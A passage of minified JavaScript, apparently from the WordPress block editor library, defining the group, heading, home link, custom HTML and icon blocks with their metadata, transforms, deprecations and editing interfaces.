QE=o(U(),1),gbe={from:[{type:"block",isMultiBlock:!0,blocks:["*"],__experimentalConvert(e){let t=["wide","full"],r=e.reduce((n,i)=>{let{align:l}=i.attributes;return t.indexOf(l)>t.indexOf(n)?l:n},void 0),a=e.map(n=>(0,QE.createBlock)(n.name,n.attributes,n.innerBlocks));return(0,QE.createBlock)("core/group",{align:r,layout:{type:"constrained"}},a)}}]},V$=gbe;var xa=o(I(),1);var YE={innerBlocks:[{name:"core/paragraph",attributes:{content:(0,xa.__)("One.")}},{name:"core/paragraph",attributes:{content:(0,xa.__)("Two.")}},{name:"core/paragraph",attributes:{content:(0,xa.__)("Three.")}},{name:"core/paragraph",attributes:{content:(0,xa.__)("Four.")}},{name:"core/paragraph",attributes:{content:(0,xa.__)("Five.")}},{name:"core/paragraph",attributes:{content:(0,xa.__)("Six.")}}]},vbe=[{name:"group",title:(0,xa.__)("Group"),description:(0,xa.__)("Gather blocks in a container."),attributes:{layout:{type:"constrained"}},isDefault:!0,scope:["block","inserter","transform"],icon:dp},{name:"group-row",title:(0,xa._x)("Row","single horizontal line"),description:(0,xa.__)("Arrange blocks horizontally."),attributes:{layout:{type:"flex",flexWrap:"nowrap"}},scope:["block","inserter","transform"],isActive:["layout.type"],icon:HP,example:YE},{name:"group-stack",title:(0,xa.__)("Stack"),description:(0,xa.__)("Arrange blocks vertically."),attributes:{layout:{type:"flex",orientation:"vertical"}},scope:["block","inserter","transform"],isActive:["layout.type","layout.orientation"],icon:tB,example:YE},{name:"group-grid",title:(0,xa.__)("Grid"),description:(0,xa.__)("Arrange blocks in a grid."),attributes:{layout:{type:"grid"}},scope:["block","inserter","transform"],isActive:["layout.type"],icon:kl,example:YE}],F$=vbe;var{name:O5}=z5,O$={icon:dp,example:{attributes:{layout:{type:"constrained",justifyContent:"center"},style:{spacing:{padding:{top:"4em",right:"3em",bottom:"4em",left:"3em"}}}},innerBlocks:[{name:"core/heading",attributes:{content:(0,F5.__)("La Mancha"),style:{typography:{textAlign:"center"}}}},{name:"core/paragraph",attributes:{style:{typography:{textAlign:"center"}},content:(0,F5.__)("In a village of La Mancha, the name of which I have no desire to call to mind, there lived not long since one of those gentlemen that keep a lance in the lance-rack, an old buckler, a lean hack, and a greyhound for coursing.")}},{name:"core/spacer",attributes:{height:"10px"}},{name:"core/button",attributes:{text:(0,F5.__)("Read more")}}],viewportWidth:600},transforms:V$,edit:A$,save:z$,deprecated:T$,variations:F$},bbe=()=>N({name:O5,metadata:z5,settings:O$});var oN={};q(oN,{init:()=>Abe,metadata:()=>W5,name:()=>q5,settings:()=>Z5});var lm=o(I(),1),ch=o(U(),1);var Ka=o(T(),1);var Fs=o(v(),1),JE={className:!1,anchor:!0},H5={align:{type:"string"},content:{type:"string",source:"html",selector:"h1,h2,h3,h4,h5,h6",default:""},level:{type:"number",default:2},placeholder:{type:"string"}},lh=e=>{if(!e.customTextColor)return e;let t={color:{text:e.customTextColor}},{customTextColor:r,...a}=e;return{...a,style:t}},H$=["left","right","center"],sh=e=>{let{align:t,...r}=e;return H$.includes(t)?{...r,textAlign:t}:e},ybe={supports:JE,attributes:{...H5,customTextColor:{type:"string"},textColor:{type:"string"}},migrate:e=>be(lh(sh(e))),save({attributes:e}){let{align:t,level:r,content:a,textColor:n,customTextColor:i}=e,l="h"+r,s=(0,Ka.getColorClassName)("color",n),c=w({[s]:s});return(0,Fs.jsx)(Ka.RichText.Content,{className:c||void 0,tagName:l,style:{textAlign:t,color:s?void 0:i},value:a})}},xbe={attributes:{...H5,customTextColor:{type:"string"},textColor:{type:"string"}},migrate:e=>be(lh(sh(e))),save({attributes:e}){let{align:t,content:r,customTextColor:a,level:n,textColor:i}=e,l="h"+n,s=(0,Ka.getColorClassName)("color",i),c=w({[s]:s,[`has-text-align-${t}`]:t});return(0,Fs.jsx)(Ka.RichText.Content,{className:c||void 0,tagName:l,style:{color:s?void 0:a},value:r})},supports:JE},_be={supports:JE,attributes:{...H5,customTextColor:{type:"string"},textColor:{type:"string"}},migrate:e=>be(lh(sh(e))),save({attributes:e}){let{align:t,content:r,customTextColor:a,level:n,textColor:i}=e,l="h"+n,s=(0,Ka.getColorClassName)("color",i),c=w({[s]:s,"has-text-color":i||a,[`has-text-align-${t}`]:t});return(0,Fs.jsx)(Ka.RichText.Content,{className:c||void 0,tagName:l,style:{color:s?void 0:a},value:r})}},kbe={supports:{align:["wide","full"],anchor:!0,className:!1,color:{link:!0},fontSize:!0,lineHeight:!0,__experimentalSelector:{"core/heading/h1":"h1","core/heading/h2":"h2","core/heading/h3":"h3","core/heading/h4":"h4","core/heading/h5":"h5","core/heading/h6":"h6"},__unstablePasteTextInline:!0},attributes:H5,isEligible:({align:e})=>H$.includes(e),migrate:e=>be(lh(sh(e))),save({attributes:e}){let{align:t,content:r,level:a}=e,n="h"+a,i=w({[`has-text-align-${t}`]:t});return(0,Fs.jsx)(n,{...Ka.useBlockProps.save({className:i}),children:(0,Fs.jsx)(Ka.RichText.Content,{value:r})})}},wbe={supports:{align:["wide","full"],anchor:!0,className:!1,color:{gradients:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0}},spacing:{margin:!0,padding:!0},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontStyle:!0,__experimentalFontWeight:!0,__experimentalLetterSpacing:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalDefaultControls:{fontSize:!0,fontAppearance:!0,textTransform:!0}},__experimentalSelector:"h1,h2,h3,h4,h5,h6",__unstablePasteTextInline:!0,__experimentalSlashInserter:!0},attributes:{textAlign:{type:"string"},content:{type:"string",source:"html",selector:"h1,h2,h3,h4,h5,h6",default:"",role:"content"},level:{type:"number",default:2},placeholder:{type:"string"}},save({attributes:e}){let{textAlign:t,content:r,level:a}=e,n="h"+a,i=w({[`has-text-align-${t}`]:t});return(0,Fs.jsx)(n,{...Ka.useBlockProps.save({className:i}),children:(0,Fs.jsx)(Ka.RichText.Content,{value:r})})},migrate:e=>be(lh(sh(e)))},Cbe={supports:{align:["wide","full"],anchor:!0,className:!0,splitting:!0,__experimentalBorder:{color:!0,radius:!0,style:!0,width:!0},color:{gradients:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0}},spacing:{margin:!0,padding:!0},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontStyle:!0,__experimentalFontWeight:!0,__experimentalLetterSpacing:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalWritingMode:!0,fitText:!0,__experimentalDefaultControls:{fontSize:!0}},__unstablePasteTextInline:!0,__experimentalSlashInserter:!0,interactivity:{clientNavigation:!0}},attributes:{textAlign:{type:"string"},content:{type:"string",source:"html",selector:"h1,h2,h3,h4,h5,h6",default:"",role:"content"},level:{type:"number",default:2},levelOptions:{type:"array"},placeholder:{type:"string"}},save({attributes:e}){let{textAlign:t,content:r,level:a}=e,n="h"+a,i=w({[`has-text-align-${t}`]:t});return(0,Fs.jsx)(n,{...Ka.useBlockProps.save({className:i}),children:(0,Fs.jsx)(Ka.RichText.Content,{value:r})})},migrate:e=>be(lh(sh(e))),isEligible(e){return!!e.textAlign||!!e.className?.match(/\bhas-text-align-(left|center|right)\b/)}},Sbe=[Cbe,wbe,kbe,_be,xbe,ybe],j$=Sbe;var G$=o(I(),1),U5=o(j(),1),G5=o(z(),1),Qp=o(T(),1);var U$=o(J1(),1),eN={},Tbe=e=>{let t=document.createElement("div");return t.innerHTML=e,t.innerText},Pbe=e=>(0,U$.default)(Tbe(e)).replace(/[^\p{L}\p{N}]+/gu,"-").toLowerCase().replace(/(^-+)|(-+$)/g,""),j5=(e,t)=>{let r=Pbe(t);if(r==="")return null;delete eN[e];let a=r,n=0;for(;Object.values(eN).includes(a);)n+=1,a=r+"-"+n;return a},tN=(e,t)=>{eN[e]=t};var lv=o(v(),1);function Bbe(e){let{attributes:t,setAttributes:r,mergeBlocks:a,onReplace:n,style:i,clientId:l}=e;St(e);let{content:s,level:c,placeholder:u,anchor:m}=t,p="h"+c,d=(0,Qp.useBlockProps)({style:i}),{canGenerateAnchors:f}=(0,G5.useSelect)(b=>{let{getGlobalBlockCount:y,getSettings:_}=b(Qp.store);return{canGenerateAnchors:!!_().generateAnchors||y("core/table-of-contents")>0}},[]),{__unstableMarkNextChangeAsNotPersistent:h}=(0,G5.useDispatch)(Qp.store);return(0,U5.useEffect)(()=>{if(f)return!m&&s&&(h(),r({anchor:j5(l,s)})),tN(l,m),()=>tN(l,null)},[m,s,l,f]),(0,lv.jsx)(lv.Fragment,{children:(0,lv.jsx)(Qp.RichText,{identifier:"content",tagName:p,value:s,onChange:b=>{let y={content:b};f&&(!m||!b||j5(l,s)===m)&&(y.anchor=j5(l,b)),r(y)},onMerge:a,onReplace:n,onRemove:()=>n([]),placeholder:u||(0,G$.__)("Heading"),...U5.Platform.isNative&&{deleteEnter:!0},...d})})}var W$=Bbe;var W5={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/heading",title:"Heading",category:"text",description:"Introduce new sections and organize content to help visitors (and search engines) understand the structure of your content.",keywords:["title","subtitle"],textdomain:"default",attributes:{content:{type:"rich-text",source:"rich-text",selector:"h1,h2,h3,h4,h5,h6",role:"content"},level:{type:"number",default:2},levelOptions:{type:"array"},placeholder:{type:"string"}},supports:{align:["wide","full"],anchor:!0,className:!0,splitting:!0,__experimentalBorder:{color:!0,radius:!0,style:!0,width:!0},color:{gradients:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0}},spacing:{margin:!0,padding:!0,__experimentalDefaultControls:{margin:!1,padding:!1}},typography:{fontSize:!0,lineHeight:!0,textAlign:!0,__experimentalFontFamily:!0,__experimentalFontStyle:!0,__experimentalFontWeight:!0,__experimentalLetterSpacing:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalWritingMode:!0,fitText:!0,__experimentalDefaultControls:{fontSize:!0}},__unstablePasteTextInline:!0,__experimentalSlashInserter:!0,interactivity:{clientNavigation:!0}},editorStyle:"wp-block-heading-editor",style:"wp-block-heading"};var $5=o(T(),1),rN=o(v(),1);function $$({attributes:e}){let{content:t,level:r}=e,a="h"+r;return(0,rN.jsx)(a,{...$5.useBlockProps.save(),children:(0,rN.jsx)($5.RichText.Content,{value:t})})}var im=o(U(),1);function q$(e){return Number(e.substr(1))}var Ebe={from:[{type:"block",isMultiBlock:!0,blocks:["core/paragraph"],transform:e=>e.map(t=>{let{content:r,anchor:a,style:n}=t,i=n?.typography?.textAlign;return(0,im.createBlock)("core/heading",{...Dc(t,"core/heading",({content:l})=>({content:l})),content:r,anchor:a,...i&&{style:{typography:{textAlign:i}}}})})},{type:"raw",selector:"h1,h2,h3,h4,h5,h6",schema:({phrasingContentSchema:e,isPaste:t})=>{let r={children:e,attributes:t?[]:["style","id"]};return{h1:r,h2:r,h3:r,h4:r,h5:r,h6:r}},transform(e){let t=(0,im.getBlockAttributes)("core/heading",e.outerHTML),{textAlign:r}=e.style||{};return t.level=q$(e.nodeName),(r==="left"||r==="center"||r==="right")&&(t.style={...t.style,typography:{...t.style?.typography,textAlign:r}}),(0,im.createBlock)("core/heading",t)}},...[1,2,3,4,5,6].map(e=>({type:"prefix",prefix:Array(e+1).join("#"),transform(t){return(0,im.createBlock)("core/heading",{level:e,content:t})}})),...[1,2,3,4,5,6].map(e=>({type:"enter",regExp:new RegExp(`^/(h|H)${e}$`),transform:()=>(0,im.createBlock)("core/heading",{level:e})}))],to:[{type:"block",isMultiBlock:!0,blocks:["core/paragraph"],transform:e=>e.map(t=>{let{content:r,style:a}=t,n=a?.typography?.textAlign;return(0,im.createBlock)("core/paragraph",{...Dc(t,"core/paragraph",({content:i})=>({content:i})),content:r,...n&&{style:{typography:{textAlign:n}}}})})}]},Z$=Ebe;var sv=o(I(),1);var Nbe=[q9,K9,Y9,J9,tT,oT],Dbe=[...[1,2,3,4,5,6].map(e=>({name:`h${e}`,title:(0,sv.sprintf)((0,sv.__)("Heading %d"),e),description:(0,sv.__)("Introduce new sections and organize content to help visitors (and search engines) understand the structure of your content."),icon:Nbe[e-1],attributes:{level:e},scope:["block","transform"],keywords:[`h${e}`],isActive:t=>t.level===e}))],K$=Dbe;var{fieldsKey:Lbe,formKey:Mbe}=Z(ch.privateApis),{name:q5}=W5,Z5={icon:nT,example:{attributes:{content:(0,lm.__)("Code is Poetry"),level:2,style:{typography:{textAlign:"center"}}}},__experimentalLabel(e,{context:t}){let{content:r,level:a}=e,n=e?.metadata?.name,i=r?.trim().length>0;if(t==="list-view"&&(n||i))return n||r;if(t==="breadcrumb"&&n)return n;if(t==="accessibility")return i?(0,lm.sprintf)((0,lm.__)("Level %1$s. %2$s"),a,r):(0,lm.sprintf)((0,lm.__)("Level %s. Empty."),a)},transforms:Z$,deprecated:j$,merge(e,t){return{content:(e.content||"")+(t.content||"")}},edit:W$,save:$$,variations:K$};window.__experimentalContentOnlyInspectorFields&&(Z5[Lbe]=[{id:"content",label:(0,lm.__)("Content"),type:"text",Edit:"rich-text"}],Z5[Mbe]={fields:["content"]});var Abe=()=>{let e=N({name:q5,metadata:W5,settings:Z5}),t=(0,ch.getBlockType)(q5)?.attributes?.levelOptions?.default;return t&&[1,2,3,4,5,6].forEach(r=>{t.includes(r)||(0,ch.unregisterBlockVariation)(q5,`h${r}`)}),e};var aN={};q(aN,{init:()=>Vbe,metadata:()=>K5,name:()=>oq,settings:()=>aq});var rq=o(I(),1);var K5={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/home-link",category:"design",parent:["core/navigation"],title:"Home Link",description:"Create a link that always points to the homepage of the site. Usually not necessary if there is already a site title link present in the header.",textdomain:"default",attributes:{label:{type:"string",role:"content"}},usesContext:["textColor","customTextColor","backgroundColor","customBackgroundColor","fontSize","customFontSize","style"],supports:{anchor:!0,reusable:!1,html:!1,typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},interactivity:{clientNavigation:!0}},editorStyle:"wp-block-home-link-editor",style:"wp-block-home-link"};var X5=o(T(),1),Q5=o(I(),1),Q$=o(z(),1),Y$=o(Y(),1),Y5=o(v(),1),zbe=e=>e.preventDefault();function X$({attributes:e,setAttributes:t,context:r}){let a=(0,Q$.useSelect)(c=>c(Y$.store).getEntityRecord("root","__unstableBase")?.home,[]),{textColor:n,backgroundColor:i,style:l}=r,s=(0,X5.useBlockProps)({className:w("wp-block-navigation-item",{"has-text-color":!!n||!!l?.color?.text,[`has-${n}-color`]:!!n,"has-background":!!i||!!l?.color?.background,[`has-${i}-background-color`]:!!i}),style:{color:l?.color?.text,backgroundColor:l?.color?.background}});return(0,Y5.jsx)("div",{...s,children:(0,Y5.jsx)("a",{className:"wp-block-home-link__content wp-block-navigation-item__content",href:a,onClick:zbe,children:(0,Y5.jsx)(X5.RichText,{identifier:"label",className:"wp-block-home-link__label",value:e.label??(0,Q5.__)("Home"),onChange:c=>{t({label:c})},"aria-label":(0,Q5.__)("Home link text"),placeholder:(0,Q5.__)("Add home link"),withoutInteractiveFormatting:!0})})})}var J$=o(T(),1),eq=o(v(),1);function tq(){return(0,eq.jsx)(J$.InnerBlocks.Content,{})}var{name:oq}=K5,aq={icon:lT,edit:X$,save:tq,example:{attributes:{label:(0,rq._x)("Home Link","block example")}}},Vbe=()=>N({name:oq,metadata:K5,settings:aq});var lN={};q(lN,{init:()=>jbe,metadata:()=>t4,name:()=>_q,settings:()=>kq});var xq=o(I(),1);var mh=o(I(),1),pq=o(j(),1),cm=o(T(),1),$l=o(A(),1);var nq=o(j(),1),J5=o(T(),1),iq=o(A(),1),lq=o(z(),1),sq=o(I(),1),Yp=o(v(),1),Fbe=`
	html,body,:root {
		margin: 0 !important;
		padding: 0 !important;
		overflow: visible !important;
		min-height: auto !important;
	}
`;function e4({content:e,isSelected:t}){let r=(0,lq.useSelect)(n=>n(J5.store).getSettings().styles,[]),a=(0,nq.useMemo)(()=>[Fbe,...(0,J5.transformStyles)((r??[]).filter(n=>n.css))],[r]);return(0,Yp.jsxs)(Yp.Fragment,{children:[(0,Yp.jsx)(iq.SandBox,{html:e,styles:a,title:(0,sq.__)("Custom HTML Preview"),tabIndex:-1}),!t&&(0,Yp.jsx)("div",{className:"block-library-html__preview-overlay"})]})}var pi=o(I(),1),cv=o(j(),1),uq=o(z(),1),Yo=o(A(),1),uh=o(T(),1);var mq=o(ue(),1);function cq(e=""){if(!e||!e.trim())return{html:"",css:"",js:""};let t=document.implementation.createHTMLDocument("");t.body.innerHTML=e;let r=t.body.querySelector('style[data-wp-block-html="css"]'),a=r?r.textContent.trim():"";r&&r.remove();let n=t.body.querySelector('script[data-wp-block-html="js"]'),i=n?n.textContent.trim():"";return n&&n.remove(),{html:t.body.innerHTML.trim(),css:a,js:i}}function nN({html:e="",css:t="",js:r=""}){let a=[];return t.trim()&&a.push(`<style data-wp-block-html="css">
${t}
</style>`),r.trim()&&a.push(`<script data-wp-block-html="js">
${r}
<\/script>`),e.trim()&&a.push(e),a.join(`

`)}var Tt=o(v(),1),{Tabs:sm}=Z(Yo.privateApis);function iN({isOpen:e,onRequestClose:t,content:r,setAttributes:a}){let{html:n,css:i,js:l}=cq(r),[s,c]=(0,cv.useState)(n),[u,m]=(0,cv.useState)(i),[p,d]=(0,cv.useState)(l),[f,h]=(0,cv.useState)(!1),g=(0,mq.useViewportMatch)("small","<"),{canUserUseUnfilteredHTML:b}=(0,uq.useSelect)(S=>({canUserUseUnfilteredHTML:S(uh.store).getSettings().__experimentalCanUserUseUnfilteredHTML}),[]),y=!b&&(i.trim()||l.trim());if(!e)return null;let _=()=>{a({content:nN({html:s,css:b?u:"",js:b?p:""})})},x=()=>{_(),t()},k=()=>{h(S=>!S)};return(0,Tt.jsx)(Tt.Fragment,{children:(0,Tt.jsx)(Yo.Modal,{title:(0,pi.__)("Edit HTML"),onRequestClose:t,className:"block-library-html__modal",size:"large",isDismissible:!1,shouldCloseOnClickOutside:!1,isFullScreen:f,__experimentalHideHeader:!0,children:(0,Tt.jsx)(sm,{orientation:"horizontal",defaultTabId:"html",children:(0,Tt.jsxs)(Yo.__experimentalVStack,{expanded:!0,children:[(0,Tt.jsxs)(Yo.__experimentalHStack,{justify:"space-between",className:"block-library-html__modal-header",children:[(0,Tt.jsx)("div",{children:(0,Tt.jsxs)(sm.TabList,{children:[(0,Tt.jsx)(sm.Tab,{tabId:"html",children:"HTML"}),b&&(0,Tt.jsx)(sm.Tab,{tabId:"css",children:"CSS"}),b&&(0,Tt.jsx)(sm.Tab,{tabId:"js",children:(0,pi.__)("JavaScript")})]})}),!g&&(0,Tt.jsx)("div",{children:(0,Tt.jsx)(Yo.Button,{__next40pxDefaultSize:!0,icon:f?JP:pp,label:(0,pi.__)("Enable/disable fullscreen"),onClick:k,variant:"tertiary"})})]}),y&&(0,Tt.jsx)(Yo.Notice,{status:"warning",isDismissible:!1,className:"block-library-html__modal-notice",children:(0,pi.__)("This block contains CSS or JavaScript that will be removed when you save because you do not have permission to use unfiltered HTML.")}),(0,Tt.jsxs)(Yo.Flex,{direction:g?"column":"row",className:"block-library-html__modal-tabs",align:"stretch",gap:8,children:[(0,Tt.jsxs)("div",{className:"block-library-html__modal-content",children:[(0,Tt.jsx)(sm.TabPanel,{tabId:"html",focusable:!1,className:"block-library-html__modal-tab",children:(0,Tt.jsx)(uh.PlainText,{value:s,onChange:c,placeholder:(0,pi.__)("Write HTML\u2026"),"aria-label":(0,pi.__)("HTML"),className:"block-library-html__modal-editor"})}),b&&(0,Tt.jsx)(sm.TabPanel,{tabId:"css",focusable:!1,className:"block-library-html__modal-tab",children:(0,Tt.jsx)(uh.PlainText,{value:u,onChange:m,placeholder:(0,pi.__)("Write CSS\u2026"),"aria-label":(0,pi.__)("CSS"),className:"block-library-html__modal-editor"})}),b&&(0,Tt.jsx)(sm.TabPanel,{tabId:"js",focusable:!1,className:"block-library-html__modal-tab",children:(0,Tt.jsx)(uh.PlainText,{value:p,onChange:d,placeholder:(0,pi.__)("Write JavaScript\u2026"),"aria-label":(0,pi.__)("JavaScript"),className:"block-library-html__modal-editor"})})]}),(0,Tt.jsx)("div",{className:"block-library-html__preview",children:(0,Tt.jsx)(e4,{content:nN({html:s,css:u,js:p})})})]}),(0,Tt.jsxs)(Yo.__experimentalHStack,{alignment:"center",justify:"flex-end",spacing:4,className:"block-library-html__modal-footer",children:[(0,Tt.jsx)(Yo.Button,{__next40pxDefaultSize:!0,variant:"tertiary",onClick:t,children:(0,pi.__)("Cancel")}),(0,Tt.jsx)(Yo.Button,{__next40pxDefaultSize:!0,variant:"primary",onClick:x,children:(0,pi.__)("Update")})]})]})})})})}var _a=o(v(),1);function dq({attributes:e,setAttributes:t,isSelected:r}){let[a,n]=(0,pq.useState)(!1),i=(0,cm.useBlockProps)({className:"block-library-html__edit"});return e.content?.trim()?(0,_a.jsxs)("div",{...i,children:[(0,_a.jsx)(cm.BlockControls,{children:(0,_a.jsx)($l.ToolbarGroup,{children:(0,_a.jsx)($l.ToolbarButton,{onClick:()=>n(!0),children:(0,mh.__)("Edit code")})})}),(0,_a.jsx)(cm.InspectorControls,{children:(0,_a.jsx)($l.__experimentalVStack,{className:"block-editor-block-inspector-edit-contents",expanded:!0,children:(0,_a.jsx)($l.Button,{className:"block-editor-block-inspector-edit-contents__button",__next40pxDefaultSize:!0,variant:"secondary",onClick:()=>n(!0),children:(0,mh.__)("Edit code")})})}),(0,_a.jsx)(e4,{content:e.content,isSelected:r}),(0,_a.jsx)(iN,{isOpen:a,onRequestClose:()=>n(!1),content:e.content,setAttributes:t})]}):(0,_a.jsxs)("div",{...i,children:[(0,_a.jsx)($l.Placeholder,{icon:(0,_a.jsx)(cm.BlockIcon,{icon:S0}),label:(0,mh.__)("Custom HTML"),instructions:(0,mh.__)("Add custom HTML code and preview how it looks."),children:(0,_a.jsx)($l.Button,{__next40pxDefaultSize:!0,variant:"primary",onClick:()=>n(!0),children:(0,mh.__)("Edit HTML")})}),(0,_a.jsx)(iN,{isOpen:a,onRequestClose:()=>n(!1),content:e.content,setAttributes:t})]})}var t4={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/html",title:"Custom HTML",category:"widgets",description:"Add custom HTML code and preview it as you edit.",keywords:["embed"],textdomain:"default",attributes:{content:{type:"string",source:"raw",role:"content"}},supports:{customClassName:!1,className:!1,html:!1,interactivity:{clientNavigation:!0},customCSS:!1,visibility:!1},editorStyle:"wp-block-html-editor"};var fq=o(j(),1),hq=o(v(),1);function gq({attributes:e}){return(0,hq.jsx)(fq.RawHTML,{children:e.content})}var vq=o(U(),1),bq=o(Wu(),1),Hbe={from:[{type:"block",blocks:["core/code"],transform:({content:e})=>(0,vq.createBlock)("core/html",{content:(0,bq.create)({html:e}).text})}]},yq=Hbe;var{name:_q}=t4,kq={icon:cT,example:{attributes:{content:"<marquee>"+(0,xq.__)("Welcome to the wonderful world of blocks\u2026")+"</marquee>"}},edit:dq,save:gq,transforms:yq},jbe=()=>N({name:_q,metadata:t4,settings:kq});var mN={};q(mN,{init:()=>Zbe,metadata:()=>o4,name:()=>Lq,settings:()=>Mq});var Hs=o(I(),1),di=o(A(),1),Xo=o(T(),1),Bq=o(j(),1),fh=o(L(),1),Iq=o(z(),1),Eq=o(Y(),1);var Tq=o(I(),1),r4=o(A(),1),dh=o(j(),1),Pq=o(ue(),1);var sN=o(I(),1),wq=o(A(),1);var Os=o(v(),1);function Cq({icons:e,onChange:t,attributes:r}){return(0,Os.jsx)("div",{className:"wp-block-icon__inserter-grid",children:e?.length?(0,Os.jsx)("div",{className:"wp-block-icon__inserter-grid-icons-list","aria-label":(0,sN.__)("Icon library"),children:e.map(a=>(0,Os.jsxs)(wq.Button,{className:"wp-block-icon__inserter-grid-icons-list-item",onClick:()=>t(a.name),variant:a.name===r?.icon?"primary":void 0,__next40pxDefaultSize:!0,children:[(0,Os.jsx)("span",{className:"wp-block-icon__inserter-grid-icons-list-item-icon",children:(0,Os.jsx)(no,{html:a.content,wrapperProps:{style:{width:"24px"}}})}),(0,Os.jsx)("span",{className:"wp-block-icon__inserter-grid-icons-list-item-title",children:a.label})]},a.name))}):(0,Os.jsx)("div",{className:"wp-block-icon__inserter-grid-no-results",children:(0,Os.jsx)("p",{children:(0,sN.__)("No results found.")})})})}var Sq=o(J1(),1);function ph(e=""){return e=(0,Sq.default)(e),e=e.trim().toLowerCase(),e}function Ube(e,t){let r=ph(t),a=ph(e.title),n=0;return r===a?n+=30:a.startsWith(r)?n+=20:r.split(" ").every(s=>a.includes(s))&&(n+=10),n}function uv(e=[],t=""){if(!t)return e;let r=e.map(a=>[a,Ube(a,t)]).filter(([,a])=>a>0);return r.sort(([,a],[,n])=>n-a),r.map(([a])=>a)}var Xp=o(v(),1);function cN({icons:e=[],setInserterOpen:t,attributes:r,setAttributes:a}){let[n,i]=(0,dh.useState)(""),l=(0,Pq.useDebounce)(i,300),s=(0,dh.useCallback)(u=>{a({icon:u}),t(!1)},[a,t]),c=(0,dh.useMemo)(()=>{if(n){let u=ph(n);return e.filter(m=>{let p=ph(m.name),d=ph(m.label);return p.includes(u)||d.includes(u)})}return e},[n,e]);return(0,Xp.jsx)(r4.Modal,{className:"wp-block-icon__inserter-modal",title:(0,Tq.__)("Icon library"),onRequestClose:()=>t(!1),isFullScreen:!0,children:(0,Xp.jsxs)("div",{className:"wp-block-icon__inserter",children:[(0,Xp.jsx)("div",{className:"wp-block-icon__inserter-header",children:(0,Xp.jsx)(r4.SearchControl,{value:n,onChange:l})}),(0,Xp.jsx)(Cq,{icons:c,onChange:s,attributes:r})]})})}var er=o(v(),1),Gbe=({className:e,style:t})=>(0,er.jsxs)(fh.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 60 60",preserveAspectRatio:"none",fill:"none","aria-hidden":"true",className:w("wp-block-icon__placeholder",e),style:t,children:[(0,er.jsx)(fh.Rect,{width:"60",height:"60",fill:"currentColor",fillOpacity:.1}),(0,er.jsx)(fh.Path,{vectorEffect:"non-scaling-stroke",stroke:"currentColor",strokeOpacity:.25,d:"M60 60 0 0"})]});function Wbe({attributes:e,setAttributes:t}){let{icon:r,ariaLabel:a}=e,[n,i]=(0,Bq.useState)(!1),l=(0,Xo.useBlockEditingMode)()==="contentOnly",s=(0,Xo.__experimentalUseColorProps)(e),c=(0,Xo.__experimentalGetSpacingClassesAndStyles)(e),u=(0,Xo.__experimentalUseBorderProps)(e),m=(0,Xo.getDimensionsClassesAndStyles)(e),{selectedIcon:p,allIcons:d=[]}=(0,Iq.useSelect)(y=>{let{getEntityRecord:_,getEntityRecords:x}=y(Eq.store);return{selectedIcon:r?_("root","icon",r):null,allIcons:n?x("root","icon",{per_page:-1}):void 0}},[n,r]),f=p?.content||"",h=(0,er.jsxs)(er.Fragment,{children:[(0,er.jsx)(Xo.BlockControls,{group:l?"inline":"other",children:(0,er.jsx)(di.ToolbarButton,{onClick:()=>{i(!0)},children:r?(0,Hs.__)("Replace"):(0,Hs.__)("Choose icon")})}),l&&r&&(0,er.jsx)(Xo.BlockControls,{group:"other",children:(0,er.jsx)(di.ToolbarGroup,{className:"components-toolbar-group",children:(0,er.jsx)(di.DropdownMenu,{icon:"",popoverProps:{className:"is-alternate"},text:(0,Hs.__)("Label"),children:()=>(0,er.jsx)(di.TextControl,{className:"wp-block-icon__toolbar-content",label:(0,Hs.__)("Label"),value:a||"",onChange:y=>t({ariaLabel:y}),help:(0,Hs.__)("Briefly describe the icon to help screen reader users. Leave blank for decorative icons."),__next40pxDefaultSize:!0})})})})]}),g=W(),b=r&&(0,er.jsx)(er.Fragment,{children:(0,er.jsx)(Xo.InspectorControls,{group:"settings",children:(0,er.jsx)(di.__experimentalToolsPanel,{label:(0,Hs.__)("Settings"),resetAll:()=>t({ariaLabel:void 0}),dropdownMenuProps:g,children:(0,er.jsx)(di.__experimentalToolsPanelItem,{label:(0,Hs.__)("Label"),isShownByDefault:!0,hasValue:()=>!!a,onDeselect:()=>t({ariaLabel:void 0}),children:(0,er.jsx)(di.TextControl,{label:(0,Hs.__)("Label"),help:(0,Hs.__)("Briefly describe the icon to help screen reader users. Leave blank for decorative icons."),value:a||"",onChange:y=>t({ariaLabel:y}),__next40pxDefaultSize:!0})})})})});return(0,er.jsxs)(er.Fragment,{children:[h,b,(0,er.jsx)("div",{...(0,Xo.useBlockProps)(),children:r?(0,er.jsx)(no,{html:f,wrapperProps:{className:w(s.className,u.className,c.className,m.className),style:{...s.style,...u.style,...c.style,...m.style}}}):(0,er.jsx)(Gbe,{className:w(u.className,c.className,m.className),style:{...u.style,...c.style,...m.style,height:"auto"}})}),n&&(0,er.jsx)(cN,{icons:d,setInserterOpen:i,attributes:e,setAttributes:t})]})}var Nq=Wbe;var o4={apiVersion:3,$schema:"https://schemas.wp.org/trunk/block.json",name:"core/icon",title:"Icon",category:"media",description:"Insert an SVG 